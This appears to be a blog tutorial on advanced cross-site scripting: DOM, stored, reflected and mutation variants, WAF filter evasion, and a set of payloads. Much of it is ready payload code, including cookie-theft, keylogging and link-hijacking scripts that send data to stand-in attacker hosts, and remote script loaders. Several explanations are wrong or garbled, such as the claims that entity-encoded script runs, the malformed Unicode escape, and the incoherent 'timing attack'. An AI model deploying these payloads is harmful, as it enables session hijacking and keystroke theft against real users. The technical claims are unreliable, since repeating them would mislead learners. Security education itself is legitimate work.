Loading
svg
Open

Advanced Cross-Site Scripting (XSS) Attacks, Payloads And Bypass Technics

June 25, 202321 min read

Advanced Cross-Site Scripting (XSS) Attacks, Payloads And Bypass Technics

Cross-Site Scripting (XSS) is a prevalent security vulnerability typically found in web applications. It allows attackers to inject malicious client-side scripts into web pages viewed by other users. While basic XSS attacks are well-understood, advanced XSS attacks can be more complex and harder to detect or prevent. This article will explore several advanced XSS attacks, providing examples to illustrate their potential impact And Some WAF XSS Filter Evasion Bypass Technics.

Advance XSS Technics/Attacks:

Xss Technics

DOM-Based XSS

DOM-based XSS is a type of XSS attack where the vulnerability exists in the client-side script rather than the server-side script. The Document Object Model (DOM) is a programming interface for web documents. It represents the structure of a document and allows a program to manipulate the document’s structure, style, and content.

Example: 

<html>

<body>

<script>document.write("<h1>Welcome " + document.location.href.substring(document.location.href.indexOf("name=") + 5) + "</h1>")</script>

</body>

</html>

In this example, the JavaScript uses the `document.write` function to display a welcome message that includes the user’s name. The name is taken from the URL after the `name=` parameter. If an attacker modifies the URL to include a script in the `name=` parameter, that script will be executed.

Blind XSS

Blind XSS is a variant of the persistent XSS attack where the payload is stored on the server and retrieved later, often on a different page or by a different user. The attacker doesn’t get immediate feedback; they need to wait until the payload is triggered.

Example:

An attacker might input a script in a comment section that is only visible to the admin:

<script src="http://attacker.com/xss.js"></script>

When the admin views the comment, the script is executed, and the attacker can steal sensitive information.

Mutation XSS (mXSS)**

mXSS attacks occur when the web application’s output encoding process results in unintended code execution. These attacks exploit the way browsers parse HTML and are often used to bypass XSS mitigation techniques.

Example:

<div attr="</div><img src=x onerror=alert(1)>">

In this example, the browser’s HTML parser might interpret the input in a way that results in the execution of the `onerror` event handler, triggering an alert.

Self-XSS

Self-XSS is a social engineering attack where the victim is tricked into running malicious code in their own browser console.

Example:

An attacker might trick a user into pasting the following code into their browser console:

var script = document.createElement('script');

script.src = 'http://attacker.com/xss.js';

document.body.appendChild(script);

This script creates a new script element that loads a malicious script from the attacker’s server.

Stored XSS (Persistent XSS)

Stored XSS attacks involve an attacker injecting a script that is permanently stored (persisted) on the target server. When a victim requests the stored information, the malicious script is also sent and executed in their browser.

Example:

An attacker might post a malicious script in a public forum:

<script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;</script>

This script sends the user’s cookies to the attacker’s server, potentially allowing the attacker to impersonate the user.

Reflected XSS (Non-Persistent XSS)

In a reflected XSS attack, the malicious script is embedded in a URL. The script is sent to the server as part of a query and then sent back in the server’s response, where it is executed in the user’s browser.

Example:

An attacker might send a URL like this to their victim:

http://example.com/search?term=<script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;</script>

```If the victim clicks the link, the script is executed, and their cookies are sent to the attacker's server.

XSS via SVG files

Scalable Vector Graphics (SVG) files can contain JavaScript, which can lead to XSS attacks if not properly sanitized.

Example:

An attacker might upload an SVG file like this:

<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"></svg>

When the SVG file is viewed, the `onload` event triggers an alert.

XSS in AJAX

AJAX (Asynchronous JavaScript and XML) is a technique for creating interactive web applications. However, if not properly implemented, it can open up new avenues for XSS attacks.

Example:

An attacker might exploit a poorly implemented AJAX function that directly uses user input:

$.get('/ajax/' + document.location.hash.substring(1), function(response) {

  $('body').append(response);

});

If the part of the URL after the hash (`#`) is controlled by the attacker, they can inject a script that will be executed when the AJAX request completes.

Flash-Based XSS

Flash applications can also be vulnerable to XSS attacks, especially if they trust data received from the DOM or other sources.

Example:

An attacker might exploit a Flash application that trusts data received from JavaScript:

flashApp.SetVariable('username', '<script>new Image().src="http://attacker.com/steal.php?cookie="+document.cookie;</script>');

If the Flash application displays the `username` variable without sanitizing it, the script will be executed.

PostMessage XSS

The HTML5 `window.postMessage` method allows different windows to communicate with each other, regardless of their source domain. However, if not properly validated, this can lead to XSS attacks.

Example:

An attacker might send a malicious message to a window that doesn’t properly validate the origin of messages:

window.opener.postMessage('<img src=x onerror=alert("XSS")>', '*');

If the receiving window inserts the message content into the DOM without sanitizing it, the script will be executed.

JSONP XSS

JSONP (JSON with Padding) is a method used to bypass the same-origin policy and allow data to be retrieved from a server under a different domain. However, if the server doesn’t properly validate the callback function, it can lead to XSS attacks.

Example:

An attacker might exploit a JSONP endpoint that doesn’t validate the callback function:

<script src="http://example.com/data?callback=alert"></script>

If the server responds with `alert(‘data’)`, the `alert` function will be executed in the user’s browser.

Template Injection leading to XSS

Template engines are often used to build HTML that’s sent to the client. If user input is included in the template in an unsafe way, it can lead to XSS attacks.

Example:

An attacker might exploit a template engine that doesn’t properly sanitize user input:

{{ '<img src=x onerror=alert("XSS")>' }}

If the template engine renders this input as HTML, the script will be executed.

XSS in Rich Text Editors

Rich Text Editors (RTEs) allow users to format and style text in a web application. However, if not properly configured or sanitized, RTEs can be vulnerable to XSS attacks.

Example:

An attacker might exploit an RTE that doesn’t sanitize user input:

<script>alert('XSS')</script>

If the RTE allows the execution of scripts, the attacker’s script will be executed when the content is rendered.

XSS in File Uploads

File upload functionality can be a potential entry point for XSS attacks if the uploaded files are not properly validated and sanitized.

Example:

An attacker might upload a file with a malicious script as its content:

<script>alert('XSS')</script>

If the server doesn’t properly validate the file type or content, it may be stored and served to other users, leading to the execution of the script.

XSS in Third-Party Libraries and Plugins

Third-party libraries and plugins are commonly used in web development. However, if these libraries have vulnerabilities or are not kept up to date, they can introduce XSS vulnerabilities into your application.

Example:

An attacker might exploit a vulnerable third-party library:

vulnerableLibrary.render('<img src=x onerror=alert("XSS")>');

If the library doesn’t properly sanitize the input, the script will be executed when the content is rendered.

XSS in Single-Page Applications (SPAs)

Single-Page Applications (SPAs) are web applications that dynamically update the content without requiring a full page reload. However, if not properly implemented, SPAs can be vulnerable to XSS attacks.

Example:

An attacker might exploit an SPA that doesn’t properly sanitize user input:

document.getElementById('content').innerHTML = '<script>alert("XSS")</script>';

If the SPA inserts the user input into the DOM without sanitizing it, the script will be executed.

XSS in Websockets

Websockets allow real-time communication between a client and a server. However, if not properly secured, websockets can be vulnerable to XSS attacks.

Example:

An attacker might exploit a websocket connection that doesn’t validate or sanitize user input:

websocket.send('<script>alert("XSS")</script>');

If the server doesn’t properly validate or sanitize the received message, the script will be executed on the client-side.

XSS in Web APIs

Web APIs (Application Programming Interfaces) allow different software applications to communicate with each other. If an API doesn’t properly validate and sanitize user input, it can introduce XSS vulnerabilities.

Example:

An attacker might exploit an API that doesn’t sanitize user input:

api.sendResponse('<script>alert("XSS")</script>');

If the API doesn’t properly sanitize the response before sending it to the client, the script will be executed.

XSS in Web Analytics and Tracking Scripts

Web analytics and tracking scripts are commonly used to collect data about website visitors. However, if these scripts are not properly implemented or secured, they can introduce XSS vulnerabilities.

Example:

An attacker might inject a script into a tracking script:

<script>alert("XSS")</script>

If the tracking script doesn’t properly sanitize the data it collects, the script will be executed when the data is processed.

Bypass WAF XSS Filter Evasion

Bypass WAF XSS Filter Evasion

XSS filter evasion techniques aim to bypass the filters implemented by web browsers or security tools to detect and prevent XSS attacks. Here are some common techniques used to evade XSS filters, along with examples:

1. HTML Entity Encoding:

One of the most straightforward techniques involves encoding special characters using HTML entities. This technique aims to trick the filter by converting characters into their corresponding entity representation. For example:

<!-- Payload with HTML entity encoding -->

<script>alert('XSS')</script>

This payload can be encoded as:

<!-- Encoded payload -->

&lt;script&gt;alert('XSS')&lt;/script&gt;

When the HTML entity-encoded payload is reflected in the HTML response, the browser decodes the entities, resulting in the execution of the script.

2. JavaScript String Manipulation:

Another technique involves manipulating JavaScript strings to bypass filters that search for specific keywords or patterns. For instance:

<!-- Payload with string manipulation -->
<img src=x onerror="javascripu{74}:alert('XSS')">

In this example, the string “javascript” is split using Unicode escape sequences (`u{74}`) to avoid detection by filters. The filter might be looking for the keyword “javascript,” but the evasion technique circumvents it by altering the string.

3. Event Handler Evasion:

XSS filters often target specific event handlers like `onmouseover`, `onload`, or `onclick` to prevent script execution. Attackers can attempt to bypass these filters by using alternative event handlers or variations of the existing ones. For example:

<!-- Payload with event handler evasion -->

<svg onload="javascript:alert('XSS')"></svg>

Here, the attacker uses the `onload` event handler in the context of an SVG element. Since filters may not be explicitly targeting SVG elements, the payload can evade detection.

4. Case Sensitivity:

Filters sometimes rely on case-sensitive matching to detect dangerous keywords or patterns. By manipulating the case of certain characters, attackers can evade such filters. For instance:

<!-- Payload with case sensitivity evasion -->

<ScRiPt>alert('XSS')</ScRiPt>

Here, the attacker alters the case of each character in the `<script>` tag to `ScRiPt`. Although visually similar, the modified case bypasses the filter’s exact keyword matching.

5. JavaScript Obfuscation:

Obfuscation involves transforming the code to make it more challenging for filters to detect and analyze. Techniques like character substitution, concatenation, or using JavaScript obfuscation tools can be employed. Consider the following example:

<!-- Obfuscated payload -->

<script>

  eval(

    String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41)

  )

</script>

In this case, the payload is obfuscated using the `String.fromCharCode()` function, which converts a sequence of Unicode character codes to a string. The obfuscated payload is then executed using `eval()`, executing the intended script.

Here Are Some Examples Of Advanced XSS Payloads:

1. Polyglot Payload:

<!-- Polyglot payload: Executable as HTML, JavaScript, and SQL -->

<img src=1 onerror=alert(1)></img>'"();alert(2);//

This payload is designed to be interpretable as both HTML and JavaScript. It triggers an alert box in JavaScript and is treated as an image tag in HTML.

2. Timing Attack:

<!-- Timing attack payload: Inferring a character based on response time -->

<script>

    var startTime = new Date().getTime();

    var img = new Image();

    img.src = "http://attacker-site.com/steal?data=" + document.cookie;

    img.onload = function() {

        var endTime = new Date().getTime();

        if (endTime - startTime > 1000) {

            // Character 'A' inferred as it took longer to load

            alert('First character of the cookie: A');

        } else {

            // Character 'B' inferred as it loaded quickly

            alert('First character of the cookie: B');

        }

    };

</script>

In this example, the payload attempts to infer the first character of the user’s cookie by measuring the response time of an image loaded from an attacker-controlled domain. The payload then alerts different characters based on the response time.

3. Self-Propagating Worm:

<!-- Self-propagating XSS worm payload -->

<script>

    var links = document.getElementsByTagName('a');

    for (var i = 0; i < links.length; i++) {

        var link = links[i];

        link.href = "http://attacker-site.com/steal?data=" + link.href;

        link.onclick = function() {

            var xhr = new XMLHttpRequest();

            xhr.open('GET', this.href, true);

            xhr.send();

        };

    }

</script>

This payload injects JavaScript code that modifies all the hyperlinks on a vulnerable page, appending the URL with an attacker-controlled domain. When a user clicks on any of these links, an AJAX request is sent to the attacker’s domain, allowing the attacker to capture the user’s browsing activity.

4. Keylogging Payload:

<!-- Keylogging payload -->

<script>

    document.onkeyup = function(e) {

        var key = String.fromCharCode(e.keyCode);

        var img = new Image();

        img.src = "http://attacker-site.com/steal?data=" + key;

    };

</script>

This payload captures each keystroke made by the user and sends the captured data to an attacker-controlled domain using an image source (which can be used to exfiltrate data).

5. Cookie Theft Payload:

<!-- Cookie theft payload -->

<script>

    var img = new Image();

    img.src = "http://attacker-site.com/steal?data=" + document.cookie;

</script>

This payload sends the user’s cookie data to an attacker-controlled domain by embedding it in an image source.

Please note that the examples provided are for educational purposes only, and using them maliciously is illegal and unethical. Conducting security testing or penetration testing should always be done with proper authorization and in controlled environments to identify and remediate vulnerabilities in web applications.

How do you vote?

0 People voted this article. 0 Upvotes - 0 Downvotes.
svg

What do you think?

Show comments / Leave a comment

One Comment:

  • Anonymous

    June 29, 2023 / at 5:19 am

    Awesome post.

Leave a reply

svg